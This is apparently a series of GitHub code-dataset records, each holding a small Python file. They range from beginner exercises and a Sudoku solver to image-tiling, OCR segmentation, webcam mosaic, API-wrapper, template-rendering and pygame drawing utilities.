123 is converted into: {float (123)} {type(float(123))}\\n')\r\n\r\n# 3. Construct an integer from the float 12.345\r\nprint (f'float 12.345 is converted into: {int(12.345)} {type(int(12.345))}\\n')\r\n\r\n# 4. Write a Python-script that detects the last 4 digits of a credit card\r\ncard_number = int (input('Please, enter 16-digit card number: '))\r\nprint(f'The last 4 numbers of the card are: {card_number%10_000}', '\\n')\r\n\r\n# 5. Write a Python-script that calculates the sum of the digits of a three-digit number\r\nnumber = int(input('Please, enter three-digit number: '))\r\nhundreds = number//100\r\ndozens = number%100//10\r\nunits = number%10\r\nsum = hundreds + dozens + units\r\nprint (f'The sum of the digits of a three-digit number is: {sum}', '\\n')\r\n\r\n# 6. Write a program that calculates and displays the area of a triangle if its sides are known\r\ntrg_side_1 = float(input('Please, enter the lenth of the first triangle side: '))\r\ntrg_side_2 = float(input('Please, enter the lenth of the second triangle side: '))\r\ntrg_side_3 = float(input('Please, enter the lenth of the third triangle side: '))\r\nsemi_perimeter = (trg_side_1 + trg_side_2 + trg_side_3)/2\r\ntrg_area = (semi_perimeter*\\\r\n (semi_perimeter - trg_side_1)*\\\r\n (semi_perimeter - trg_side_2)*\\\r\n (semi_perimeter - trg_side_3))**(1/2)\r\nprint (f'The triangle area is: {trg_area} \\n')\r\n\r\n# 7. *Write a Python-script that calculates the sum of the digits of a number\r\nnumber = int(input('Please, enter number: '))\r\nnumber_str = str(number)\r\nsum = 0\r\nfor i in number_str:\r\n sum += int(i)\r\nprint (f'The sum of the number digits is: {sum}\\n')\r\n\r\n# 8. *Determine the number of digits in a number\r\nnumber = int(input('Please, enter number: '))\r\nnumber_lenth = len(str(number))\r\nprint (f'The number of digits in number is: {number_lenth}\\n')\r\n\r\n# 9. *Print the digits in reverse order\r\nnumber = int(input('Please, enter number: '))\r\nnumber_str = str(number)\r\nprint (f'The reverse order of number is: {number_str[::-1]}')\r\n","repo_name":"andrew071176/Prog_Academy_PYTHON","sub_path":"PY_START_Lecture_01_HW_02.py","file_name":"PY_START_Lecture_01_HW_02.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13115924812","text":"# boj. 10799\n\npieces = list(input())\nstack = []\ncnt = 0\nstack.append(pieces[0])\n\nfor i in range(1, len(pieces)):\n if pieces[i] == '(':\n stack.append('(')\n else:\n if pieces[i - 1] == '(':\n stack.pop()\n cnt += len(stack)\n else:\n cnt += 1\n stack.pop()\n\nprint(cnt)\n","repo_name":"olive-su/1day_1Algorithm","sub_path":"23.04_PS/0426_쇠막대기.py","file_name":"0426_쇠막대기.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"22987398981","text":"easy_board = [\n [0, 0, 0, 2, 6, 0, 7, 0, 1],\n [6, 8, 0, 0, 7, 0, 0, 9, 0],\n [1, 9, 0, 0, 0, 4, 5, 0, 0],\n [8, 2, 0, 1, 0, 0, 0, 4, 0],\n [0, 0, 4, 6, 0, 2, 9, 0, 0],\n [0, 5, 0, 0, 0, 3, 0, 2, 8],\n [0, 0, 9, 3, 0, 0, 0, 7, 4],\n [0, 4, 0, 0, 5, 0, 0, 3, 6],\n [7, 0, 3, 0, 1, 8, 0, 0, 0]\n]\n\nhard_board = [\n [0, 2, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 6, 0, 0, 0, 0, 3],\n [0, 7, 4, 0, 8, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 3, 0, 0, 2],\n [0, 8, 0, 0, 4, 0, 0, 1, 0],\n [6, 0, 0, 5, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 7, 8, 0],\n [5, 0, 0, 0, 0, 9, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 4, 0]\n]\n\n\ndef solve(bo):\n # print_board(bo)\n # print(\"processing.........\")\n find = find_empty(bo)\n if not find:\n return True\n else:\n row, col = find\n\n for i in range(1, 10):\n if valid(bo, i, (row, col)):\n bo[row][col] = i\n\n if solve(bo):\n return True\n\n bo[row][col] = 0\n return False\n\n\ndef valid(bo, num, pos):\n # Checking rows for number\n for i in range(len(bo[0])):\n if bo[pos[0]][i] == num and pos[1] != i:\n return False\n # Checking colums for number\n for i in range(len(bo)):\n for i in range(len(bo[0])):\n if bo[i][pos[1]] == num and pos[0] != i:\n return False\n\n # checking 3x3 boxes\n box_x = pos[1] // 3\n box_y = pos[0] // 3\n\n # looping through each box\n for i in range(box_y*3, box_y*3 + 3):\n for j in range(box_x*3, box_x*3 + 3):\n if bo[i][j] == num and (i, j) != pos:\n return False\n return True\n\n\ndef print_board(bo):\n for i in range(len(bo)):\n if i % 3 == 0 and i != 0:\n print(\"- - - - - - - - - - - - - - - -\")\n for j in range(len(bo[i])):\n if j % 3 == 0 and j != 0:\n print(\" | \", end=\"\")\n if j == 8:\n print(bo[i][j])\n else:\n print(bo[i][j], \" \", end=\"\")\n\n\ndef find_empty(bo):\n for i in range(len(bo)):\n for j in range(len(bo[0])):\n if bo[i][j] == 0:\n return (i, j) # returning empty row,col(y,x)\n return None\n\n\nprint_board(hard_board)\nsolve(hard_board)\nprint(\"Solved\")\nprint_board(hard_board)\n","repo_name":"DharmilDave/Learning-Python","sub_path":"Sudoku Solver/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27330646171","text":"n = int(input())\narr = list(map(int, input().split()))\n\nflag = 0\n\nfor i in range(n-1):\n for j in range(i+1,n-1):\n a,b = min(arr[i],arr[i+1]),max(arr[i],arr[i+1])\n c,d = min(arr[j],arr[j+1]),max(arr[j],arr[j+1])\n if a= img_h:\n reachbottom = True\n top = max(img_h - subsize_h, 0)\n while not reachright:\n if left + subsize_w >= img_w:\n reachright = True\n left = max(img_w - subsize_w, 0)\n imgsplit = img[top:min(top + subsize_h, img_h), left:min(left + subsize_w, img_w)]\n if imgsplit.shape[:2] != (subsize_h, subsize_w):\n template = np.zeros((subsize_h, subsize_w, 3), dtype=np.uint8)\n template[0:imgsplit.shape[0], 0:imgsplit.shape[1]] = imgsplit\n imgsplit = template\n\n print(imgsplit)\n\n if not np.issubdtype(imgsplit.dtype, np.float32):\n imgsplit = imgsplit.astype(np.float32)\n\n mean = np.mean(imgsplit)\n sd = np.std(imgsplit)\n\n imgsplit = (imgsplit - mean) / sd\n imgsplit[imgsplit > 3] = 3\n imgsplit[imgsplit < -3] = -3\n\n image_write(os.path.join(os.path.join(dirdst, 'micrographs'),\n imgname.split('.')[0] + '_' + str(left) + '_' + str(top) + '.mrc'), imgsplit)\n\n imgrect = np.array([left, top, left + subsize_w, top + subsize_h]).astype('float32')\n ious = iou(BBGT[:, :4].astype('float32'), imgrect)\n BBpatch = BBGT[ious > iou_thresh]\n print(\"bbox number: \", len(BBpatch))\n\n path = os.path.join(os.path.join(dirdst, 'annots'),\n imgname.split('.')[0] + '_' + str(left) + '_' + str(top) + '.box')\n\n with open(path, \"w\") as boxfile:\n boxwriter = csv.writer(\n boxfile, delimiter='\\t', quotechar=\"|\", quoting=csv.QUOTE_NONE\n )\n for bb in BBpatch: # [box_xmin, box_ymin, box_xmax, box_ymax]\n boxheight = bb[3] - bb[1]\n boxwidth = bb[2] - bb[0]\n xmin = int(bb[0]) - left\n ymin = int(bb[1]) - top\n xmax = int(bb[2]) - left\n ymax = int(bb[3]) - top\n # [box.x, box.y, box.w, box.h], box.x, box,y = lower left corner\n boxwriter.writerow([xmin, subsize_h - (ymin + boxheight), boxwidth, boxheight])\n left += subsize_w - gap\n top += subsize_h - gap\n\n\ndef split_only_images(imgname, dirsrc, dirdst, split_num=2, gap=200, ext='.mrc'):\n img = cv2.imread(os.path.join(dirsrc, imgname), -1)\n img_h, img_w = img.shape[:2]\n print(imgname, img_w, img_h)\n subsize_h, subsize_w = img_h // int(split_num) + gap, img_w // int(split_num) + gap\n\n top = 0\n reachbottom = False\n while not reachbottom:\n reachright = False\n left = 0\n if top + subsize_h >= img_h:\n reachbottom = True\n top = max(img_h - subsize_h, 0)\n while not reachright:\n if left + subsize_w >= img_w:\n reachright = True\n left = max(img_w - subsize_w, 0)\n imgsplit = img[top:min(top + subsize_h, img_h), left:min(left + subsize_w, img_w)]\n if imgsplit.shape[:2] != (subsize_h, subsize_w):\n template = np.zeros((subsize_h, subsize_w, 3), dtype=np.uint8)\n template[0:imgsplit.shape[0], 0:imgsplit.shape[1]] = imgsplit\n imgsplit = template\n\n cv2.imwrite(os.path.join(dirdst, imgname.split('.')[0] + '_' + str(left) + '_' + str(top) + ext), imgsplit)\n left += subsize_w - gap\n top += subsize_h - gap\n\n\ndef split_train_val_images(dirsrc, dirdst, split_num=2, gap=200, iou_thresh=0.4, ext='.mrc', is_preprocessed=False):\n \"\"\"\n split images with annotation files.\n \"\"\"\n if not os.path.exists(dirdst):\n os.mkdir(dirdst)\n if not os.path.exists(os.path.join(dirdst, 'micrographs')):\n os.mkdir(os.path.join(dirdst, 'micrographs'))\n if not os.path.exists(os.path.join(dirdst, 'annots')):\n os.mkdir(os.path.join(dirdst, 'annots'))\n if is_preprocessed:\n imglist = glob.glob(f'{dirsrc}/preprocessed/*.mrc')\n else:\n imglist = glob.glob(f'{dirsrc}/micrographs/*.mrc')\n\n imgnameList = [os.path.split(imgpath)[-1] for imgpath in imglist]\n\n for imgname in imgnameList:\n if imgname.endswith(\"mrc\"):\n split(imgname, dirsrc, dirdst, split_num, gap, iou_thresh, ext, is_preprocessed)\n\n\ndef split_test_images():\n \"\"\"\n split test images without annotation files.\n \"\"\"\n if not os.path.exists(dirdst):\n os.mkdir(dirdst)\n\n imglist = glob.glob(f'{dirsrc}/*.mrc')\n imgnameList = [os.path.split(imgpath)[-1] for imgpath in imglist]\n for imgname in imgnameList:\n if imgname.endswith(\"mrc\"):\n split_only_images(imgname, dirsrc, dirdst, split_num, gap, ext)\n\n\ndef main():\n # split train and val images\n split_num = 2\n gap = 200\n ext = '.mrc'\n iou_thresh=0.4\n is_preprocessed=False\n dirsrc = './data/empiar10028' # 待裁剪图像所在目录的上级目录\n dirdst = './data/empiar10028/split' # 裁剪结果存放目录,格式和原图像目录一样\n split_train_val_images(dirsrc, dirdst, split_num, gap, iou_thresh, ext, is_preprocessed)\n \n # split test images\n # dirsrc = './data/empiar10028/test'\n # dirdst = './data/empiar10028/test_split/'\n # split_test_images(dirsrc, dirdst, split_num, gap, ext)\n\n\nif __name__ == '__main__':\n main()","repo_name":"JachyLikeCoding/Transpicker","sub_path":"src/transpicker/split_image.py","file_name":"split_image.py","file_ext":"py","file_size_in_byte":8961,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"7262928663","text":"from PIL import Image, ImageDraw\nimport matplotlib.pyplot as plt\nfrom math import floor\n\n\n\ndef binary(image, threshold):\n width, height = image.size\n binary_image = Image.new('1', (width, height)) \n for x in range(width):\n for y in range(height):\n if (image.getpixel((x,y)) < threshold):\n binary_image.putpixel((x,y), 0)\n else:\n binary_image.putpixel((x,y), 1)\n return binary_image\n\n\n\ndef change_to_halftone(image):\n width, height = image.size\n newImage = Image.new('P', (width, height))\n for x in range(width):\n for y in range(height):\n color = image.getpixel((x,y))\n bright = floor(0.3 * color[0] + 0.59 * color[1] + 0.11 *color[2])\n newImage.putpixel((x, y), bright)\n return newImage\n\n\ndef crop(image):\n width, height = image.size\n flag = False\n left_boarder = 0\n right_boarder = width - 1\n top_boarder = 0\n bottom_boarder = height - 1\n for x in range(width):\n if (flag):\n left_boarder = x - 1\n break\n for y in range(height):\n if (image.getpixel((x,y)) == 0):\n flag = True\n break\n flag = False\n for x in range(width-1, -1, -1):\n if (flag):\n right_boarder = x + 2\n break\n for y in range(height):\n if (image.getpixel((x,y)) == 0):\n flag = True\n break\n flag = False\n for y in range(height):\n if (flag):\n top_boarder = y - 1\n break\n for x in range(width):\n if (image.getpixel((x,y)) == 0):\n flag = True\n break\n flag = False\n for y in range(height - 1, -1 , -1):\n if (flag):\n bottom_boarder = y + 2\n break\n for x in range(width):\n if (image.getpixel((x,y)) == 0):\n flag = True\n break\n area = (left_boarder, top_boarder, right_boarder, bottom_boarder)\n cropped_image = image.crop(area)\n return cropped_image\n\n\n\ndef get_coords(boundaries, image):\n coords = []\n width, height = image.size\n for item in boundaries:\n flag = False\n for y in range(height):\n if (flag):\n top_boarder = y - 1\n break\n for x in range(item[0], item[1] + 1):\n if (image.getpixel((x,y)) == 0):\n flag = True\n break\n flag = False\n for y in range(height - 1, -1 , -1):\n if (flag):\n bottom_boarder = y + 1\n break\n for x in range(item[0], item[1] + 1):\n if (image.getpixel((x,y)) == 0):\n flag = True\n break\n coords.append([item[0], top_boarder, item[1], bottom_boarder])\n return coords\n\n\n\ndef get_boundaries(x_data, y_data):\n boundaries = []\n left = 0\n flag = True\n for item in x_data:\n if(item == len(x_data) - 1):\n if (flag):\n right = item\n boundaries.append((left, right))\n break\n if (flag):\n if(y_data[item] > 1 and (y_data[item+1] == 0 or y_data[item+1] == 1)):\n right = item\n boundaries.append((left,right))\n flag = False\n else:\n if ((y_data[item] == 0 or y_data[item] == 1) and y_data[item+1] > 1):\n left = item\n flag = True\n return boundaries\n\n\ndef process_string(string):\n image = binary(change_to_halftone(string), 150)\n image = crop(image)\n width, height = image.size\n x_data = range(width)\n y_data = [sum([1 - image.getpixel((x,y)) for y in range(height)]) for x in range(width)]\n boundaries = get_boundaries(x_data, y_data)\n coords = get_coords(boundaries, image)\n\n test_image = image.convert(\"RGB\")\n draw = ImageDraw.Draw(test_image)\n for item in coords:\n draw.rectangle(item, outline = \"red\")\n return image, test_image, coords\n\n\n\ndef main():\n image = Image.open(\"pictures/string.png\")\n cropped_text, test_image, coords = process_string(image)\n cropped_text.save(\"pictures/cropped_text.bmp\")\n test_image.save(\"pictures/processed_picture.bmp\") \n with open (\"coords.txt\", 'w') as file:\n for item in coords:\n for element in item:\n file.write(str(element) + ' ')\n file.write(\"\\n\")\n\n image = Image.open(\"pictures/string2.png\")\n cropped_text, test_image, coords = process_string(image)\n cropped_text.save(\"pictures/cropped_text2.bmp\")\n test_image.save(\"pictures/processed_picture2.bmp\") \n with open (\"coords2.txt\", 'w') as file:\n for item in coords:\n for element in item:\n file.write(str(element) + ' ')\n file.write(\"\\n\")\n\n image = Image.open(\"pictures/string3.png\")\n cropped_text, test_image, coords = process_string(image)\n cropped_text.save(\"pictures/cropped_text3.bmp\")\n test_image.save(\"pictures/processed_picture3.bmp\") \n with open (\"coords3.txt\", 'w') as file:\n for item in coords:\n for element in item:\n file.write(str(element) + ' ')\n file.write(\"\\n\")\n\n\n\n\nif __name__ == \"__main__\":\n main()\n ","repo_name":"Kron610/ProcessVisAudioInf","sub_path":"Laba5/Laba5.py","file_name":"Laba5.py","file_ext":"py","file_size_in_byte":5323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42147096135","text":"# https://setuptools.pypa.io/en/latest/userguide/declarative_config.html\n\nfrom setuptools import setup, find_packages\n\nREQUIRED_PACKAGES = open(\"requirements.txt\").readlines()\nDEV_PACKAGES = open(\"requirements.dev.txt\").readlines()\n\nsetup(\n name=\"python-pkg\",\n version=\"0.0.1\",\n long_description=open(\"README.md\").read(),\n long_description_content_type=\"text/markdown\",\n author=\"AcNaWeb\",\n author_email=\"ac@marketmining.com.br\",\n url=\"https://github.com/acnaweb/python\",\n install_requires=REQUIRED_PACKAGES,\n extras_require={\"interactive\": DEV_PACKAGES},\n packages=find_packages(include=[\"src\", \"src.*\"]),\n platforms=\"any\",\n)\n","repo_name":"acnaweb/python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34093020851","text":"import sys, traceback\nimport numpy as np\nimport cv2 as cv\n\nratio = 0.05\n\ndef main():\n try:\n cap = cv.VideoCapture(0)\n if not cap.isOpened():\n print(\"Cannot open camera\")\n exit(1)\n \n while True:\n # Capture frame-by-frame\n ret, frame = cap.read()\n # if frame is read correctly ret is True\n if not ret:\n print(\"Can't receive frame (stream end?). Exiting ...\")\n break\n \n # Convert to gray scale\n frame_gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n \n # make mozaic\n imageSmall = cv.resize(frame_gray, None, fx=ratio, fy=ratio, interpolation=cv.INTER_NEAREST)\n imageMosaic = cv.resize(imageSmall, frame_gray.shape[:2][::-1], interpolation=cv.INTER_NEAREST)\n\n # Display the resulting frame\n cv.imshow('imageSmall', imageMosaic)\n\n k = cv.waitKey(1)\n if k == 27: # wait for ESC key to exit\n cv.destroyAllWindows()\n elif k == ord('s'): # wait for 's' key to save and exit\n cv.imwrite('mosaic_'+args[1],imageMosaic)\n cv.destroyAllWindows()\n\n # When everything done, release the capture\n cap.release()\n cv.destroyAllWindows()\n\n except:\n print(\"error\")\n print(traceback.format_exc())\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tatoflam/cv2_test","sub_path":"cv2_4_mosaic_gray_video.py","file_name":"cv2_4_mosaic_gray_video.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35607778768","text":"import json\nfrom pyrapidapi import APIManager\nfrom typing import Tuple, Coroutine\nfrom dotenv import load_dotenv\n\nload_dotenv()\nimport os\n\nkey = os.getenv(\"RAPID_API_KEY\")\nif not key:\n raise Exception(\"RAPID_API_KEY not set in .env\")\n\napis = APIManager(key)\n\n\n@apis.json_decode(\"text\")\n@apis.post(\n \"https://microsoft-translator-text.p.rapidapi.com/translate?\",\n \"microsoft-translator-text.p.rapidapi.com\",\n)\ndef translate(text: str, to_lang: str) -> Coroutine[Tuple[str, dict], None, None]:\n \"\"\"This function translates text from one language to another.\n :param text: The text to translate.\n :param to_lang: The language to translate to.\n :return: The translated text.\n e.g \"I would like coffee\" in Russian -> \"Я хочу кофе\"\n \"\"\"\n return json.dumps([{\"text\": text}]), {\n \"to\": to_lang,\n \"api-version\": \"3.0\",\n \"includeAlignment\": \"false\",\n \"profanityAction\": \"NoAction\",\n \"textType\": \"plain\",\n } # type: ignore\n\n\n@apis.get(\"wordsapiv1.p.rapidapi.com\")\ndef info_for_word(info_type: str, word: str) -> str:\n return f\"https://wordsapiv1.p.rapidapi.com/words/{word}/{info_type}\"\n\n\n# from api_decorators import json_decode, post, get as get_json\n# import ujson as json\n\n\n@apis.json_decode(\"text\")\n@apis.post(\n \"https://microsoft-computer-vision3.p.rapidapi.com/describe?\",\n \"microsoft-computer-vision3.p.rapidapi.com\",\n)\ndef get_description_for_image(url: str) -> Coroutine[Tuple[str, dict], None, None]:\n \"\"\"This function returns the description of an image.\n :param url: The url of the image to get the description of.\n :return: The description of the image as a list.\"\"\"\n return json.dumps({\"url\": url}), {\n \"language\": \"en\",\n \"maxCandidates\": \"1\",\n } # type: ignore\n","repo_name":"ckoshka/personate","sub_path":"personate/utils/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"52"} +{"seq_id":"13809081230","text":"from stormbase.util import load_json\nfrom tornado.options import options\nimport urllib\nfrom time import time\nimport pickle\nimport logging\n\nCACHID = time()\n\n\nclass BaseRenderer(object):\n def __init__(self, handler):\n self.handler = handler\n\n def _default_template_variables(self, kwargs):\n kwargs['request_uri'] = self.handler.request.uri\n kwargs['is_admin'] = self.handler.is_admin()\n\n def add_css(self, css=\"\", cache=True, vendor=False, **kwargs):\n if css.startswith('http'):\n path = css\n elif vendor:\n path = urllib.basejoin(options.vendor_css_root, css)\n else:\n path = urllib.basejoin(options.static_root, '%s/css/' % options.site_name)\n path = urllib.basejoin(path, css)\n cachestring = ('' if cache or not options.debug\n else '?cacheid=%s' % CACHID)\n extra_params = \"\"\n for item in kwargs.iteritems():\n extra_params += '%s=\"%s\" ' % item\n return \"\"\"\"\"\" \\\n % (path, cachestring, extra_params)\n\n def add_javascript(self, script=\"\", cache=True, vendor=False, **kwargs):\n if script.startswith('http'):\n path = script\n elif vendor:\n path = urllib.basejoin(options.vendor_script_root, script)\n else:\n path = \"%s/%s/javascript/%s\" % (options.static_root, options.site_name, script)\n cachestring = ('' if cache or not options.debug\n else '?cacheid=%s' % CACHID)\n kwargs = \" \".join(map(lambda x: \"%s=\\\"%s\\\"\" % x, kwargs.items()))\n kwargs = kwargs.replace(\"_\", \"-\")\n return \"\"\"\"\"\" \\\n % (path, cachestring, kwargs)\n\nfrom pystache import Renderer as PystacheRenderer\nfrom pystache.renderengine import RenderEngine as PystacheRenderEngine\nfrom pystache.parser import parse\nfrom pystache.parsed import ParsedTemplate\nfrom pystache.context import ContextStack\n\n\nclass CachedRenderEngine(PystacheRenderEngine):\n def render(self, parsed_template, context_stack, delimiters=None):\n if isinstance(parsed_template, ParsedTemplate):\n return parsed_template.render(self, context_stack)\n else:\n return super(CachedRenderEngine, self).render(\n parsed_template, context_stack)\n\n\nclass CachedRenderer(PystacheRenderer):\n mc = None\n\n def __init__(self, memcached_client, *args, **kwargs):\n super(CachedRenderer, self).__init__(*args, **kwargs)\n self.mc = memcached_client\n\n def memcache_set(self, key, value, expiry=0, compress=0):\n _data = pickle.dumps(value)\n self.mc.set(key, _data, expiry, compress)\n\n def memcache_get(self, key):\n try:\n _data = raw_data = self.mc.get(key)\n if raw_data is not None:\n _data = pickle.loads(raw_data)\n return _data\n except IOError as e:\n logging.exception(e)\n return None\n\n def _make_render_engine(self):\n resolve_context = self._make_resolve_context()\n resolve_partial = self._make_resolve_partial()\n\n engine = CachedRenderEngine(literal=self._to_unicode_hard,\n escape=self._escape_to_unicode,\n resolve_context=resolve_context,\n resolve_partial=resolve_partial,\n to_str=self.str_coerce)\n return engine\n\n def render_name(self, template_name, *context, **kwargs):\n try:\n parsed_template = None\n cache_key = \"%s_template_%s\" % (options.site_name, template_name)\n parsed_template = self.memcache_get(cache_key)\n if not parsed_template:\n loader = self._make_loader()\n template = loader.load_name(template_name)\n template = self._to_unicode_hard(template)\n parsed_template = parse(template, None)\n self.memcache_set(cache_key, parsed_template)\n\n stack = ContextStack.create(*context, **kwargs)\n self._context = stack\n engine = self._make_render_engine()\n return parsed_template.render(engine, stack)\n except Exception as e:\n logging.exception(e)\n return e.message\n\n\nclass MustacheRenderer(BaseRenderer):\n def __init__(self, handler, search_dirs, caching=True):\n super(MustacheRenderer, self).__init__(handler)\n if caching:\n self.renderer = CachedRenderer(\n handler.application.cache,\n search_dirs=search_dirs)\n else:\n self.renderer = PystacheRenderer(search_dirs=search_dirs)\n\n def _default_template_variables(self, kwargs):\n super(MustacheRenderer, self)._default_template_variables(kwargs)\n kwargs['xsrf_form_html'] = self.handler.xsrf_form_html()\n\n def add_options_variables(self, kwargs):\n kwargs['class_options_debug_html'] = 'debug' \\\n if options.debug_html else ''\n kwargs['js_debug'] = 'true' \\\n if options.debug else 'false'\n for option in options._options:\n kwargs['option_' + option] = getattr(options, option)\n\n def render_string_template(self, string_template, **kwargs):\n self._default_template_variables(kwargs)\n self.add_options_variables(kwargs)\n return self.renderer.render(string_template, kwargs)\n\n def render(self, template_name, context=None, **kwargs):\n # template_name = \"\".join(template_name.split('.')[:-1])\n self._default_template_variables(kwargs)\n self.add_options_variables(kwargs)\n kwargs['block_css'] = self.block_css\n kwargs['block_javascript'] = self.block_javascript\n return self.renderer.render_name(\n template_name, context or self.handler, **kwargs)\n\n def block_css(self, text, *args, **kwargs):\n css_includes = load_json(text)\n csses = []\n for css_args in css_includes:\n csses.append(self.add_css(**css_args))\n return \"\\n\".join(csses)\n\n def block_javascript(self, text, *args, **kwargs):\n js_includes = load_json(text)\n jses = []\n for js_args in js_includes:\n jses.append(self.add_javascript(**js_args))\n return \"\\n\".join(jses)\n\n def render_error(self, *args, **kwargs):\n kwargs['option_debug?'] = options.debug\n error_template = self.renderer.render_name(\n \"error\", self.handler, *args, **kwargs)\n\n return self.render(\"base\", block_content=error_template)\n\n\nclass JinjaRenderer(BaseRenderer):\n def __init__(self, handler, jinja_env):\n super(JinjaRenderer, self).__init__(handler)\n self.jinja_env = jinja_env\n\n def _default_template_variables(self, kwargs):\n super(JinjaRenderer, self)._default_template_variables(kwargs)\n kwargs['add_javascript'] = self.add_javascript\n kwargs['add_css'] = self.add_css\n kwargs['session'] = self.handler.session\n kwargs['options'] = options\n kwargs['settings'] = self.handler.application.settings\n kwargs['get_url'] = self.handler.get_url\n kwargs['xsrf_token'] = self.handler.xsrf_token\n kwargs['xsrf_form_html'] = self.handler.xsrf_form_html\n kwargs.update(self.handler.get_template_namespace())\n\n def render(self, template_name, **kwargs):\n self._default_template_variables(kwargs)\n template = self.jinja_env.get_template(template_name)\n return template.render(kwargs)\n\n def render_string_template(self, string_template, **kwargs):\n self._default_template_variables(kwargs)\n template = self.application.jinja_env.from_string(string_template)\n return template.render(**kwargs).strip()\n\n def render_error(self, *args, **kwargs):\n return self.render(\"error.html\", *args, **kwargs)\n","repo_name":"jagguli/stormbase","sub_path":"stormbase/renderers.py","file_name":"renderers.py","file_ext":"py","file_size_in_byte":8001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"20228841550","text":"import time\nimport pygame as pg\nfrom pygame import gfxdraw\nimport math\n\n\ndef draw_circle(screen, centre_x, centre_y, radius, color, update=True, mouse_pos=None):\n centre_x = int(centre_x)\n centre_y = int(centre_y)\n radius = int(radius)\n gfxdraw.aacircle(screen, centre_x, centre_y, radius, color)\n gfxdraw.filled_circle(screen, centre_x, centre_y, radius, color)\n if update:\n pg.display.update(pg.Rect(centre_x - radius - 1, centre_y - radius, 2 * radius + 2, 2 * radius + 2))\n if mouse_pos:\n dist = math.sqrt(math.pow(mouse_pos[0] - centre_x, 2) + math.pow(mouse_pos[1] - centre_y, 2))\n if dist <= radius:\n return True\n return False\n\n\ndef draw_rect(screen, top_x, top_y, width, height, color, update=True, mouse_pos=None):\n pg.draw.rect(screen, color, pg.Rect(top_x, top_y, width, height))\n if update:\n pg.display.update(pg.Rect(top_x, top_y, width, height))\n if mouse_pos:\n if top_x <= mouse_pos[0] <= top_x + width and \\\n top_y <= mouse_pos[1] <= top_y + height:\n return True\n return False\n\n\ndef colors(color):\n colors_dict = {\n 'red': (235, 18, 7),\n 'green': (74, 222, 16),\n 'yellow': (235, 200, 7),\n 'grey': (61, 61, 61),\n 'light_grey': (163, 160, 158),\n 'white': (255, 255, 255),\n 'dark_grey': (41, 41, 41),\n 'blue_1': (121, 121, 121),\n 'black': (0, 0, 0)\n }\n return colors_dict[color]\n\n\ndef rounded_rect(screen, top_x, top_y, width, height, radius, color, bg_color='dark_grey',\n update=True, mouse_pos=None):\n if bg_color:\n draw_rect(screen, top_x, top_y, width, height, colors(bg_color), update=False)\n if not mouse_pos:\n draw_circle(screen, top_x + radius, top_y + radius, radius, color, update=False)\n draw_circle(screen, top_x + width - radius - 1, top_y + radius, radius, color, update=False)\n draw_circle(screen, top_x + radius, top_y + height - radius - 1, radius, color, update=False)\n draw_circle(screen, top_x + width - radius - 1, top_y + height - radius - 1, radius, color, update=False)\n\n draw_rect(screen, top_x + radius, top_y + radius, width - 2 * radius, height - 2 * radius, color, update=False)\n\n draw_rect(screen, top_x, top_y + radius + 2, radius, height - 2 * radius - 2, color, update=False)\n draw_rect(screen, top_x + width - radius, top_y + radius + 2, radius, height - 2 * radius - 2, color,\n update=False)\n draw_rect(screen, top_x + radius + 2, top_y, width - 2 * radius - 2, radius, color, update=False)\n draw_rect(screen, top_x + radius + 2, top_y + height - radius, width - 2 * radius - 2, radius, color,\n update=False)\n\n if mouse_pos:\n c1 = draw_circle(screen, top_x + radius, top_y + radius, radius, color, update=False,\n mouse_pos=mouse_pos)\n c2 = draw_circle(screen, top_x + width - radius - 1, top_y + radius, radius, color, update=False,\n mouse_pos=mouse_pos)\n c3 = draw_circle(screen, top_x + radius, top_y + height - radius - 1, radius, color, update=False,\n mouse_pos=mouse_pos)\n c4 = draw_circle(screen, top_x + width - radius - 1, top_y + height - radius - 1, radius, color, update=False,\n mouse_pos=mouse_pos)\n\n c5 = draw_rect(screen, top_x + radius, top_y + radius, width - 2 * radius, height - 2 * radius, color,\n update=False, mouse_pos=mouse_pos)\n\n c6 = draw_rect(screen, top_x, top_y + radius + 2, radius, height - 2 * radius - 2, color, update=False,\n mouse_pos=mouse_pos)\n c7 = draw_rect(screen, top_x + width - radius, top_y + radius + 2, radius, height - 2 * radius - 2, color,\n update=False, mouse_pos=mouse_pos)\n c8 = draw_rect(screen, top_x + radius + 2, top_y, width - 2 * radius - 2, radius, color, update=False,\n mouse_pos=mouse_pos)\n c9 = draw_rect(screen, top_x + radius + 2, top_y + height - radius, width - 2 * radius - 2, radius, color,\n update=False, mouse_pos=mouse_pos)\n\n if c1 or c2 or c3 or c4 or c5 or c6 or c7 or c8 or c9:\n return True\n return False\n\n if update:\n pg.display.update(pg.Rect(top_x, top_y, width, height))\n\n\nclass SearchBar:\n def __init__(self, screen, top_x, top_y, width, height, bg_color='dark_grey'):\n self.screen = screen\n self.top_x = top_x\n self.top_y = top_y\n self.width = width\n self.height = height\n self.rad = height // 2\n draw_rect(screen, top_x, top_y, width, height, colors(bg_color))\n draw_rect(self.screen, self.top_x + self.rad + 2, self.top_y, self.width - 2 * self.rad - 4, self.height,\n (255, 255, 255), update=False)\n draw_circle(self.screen, self.top_x + 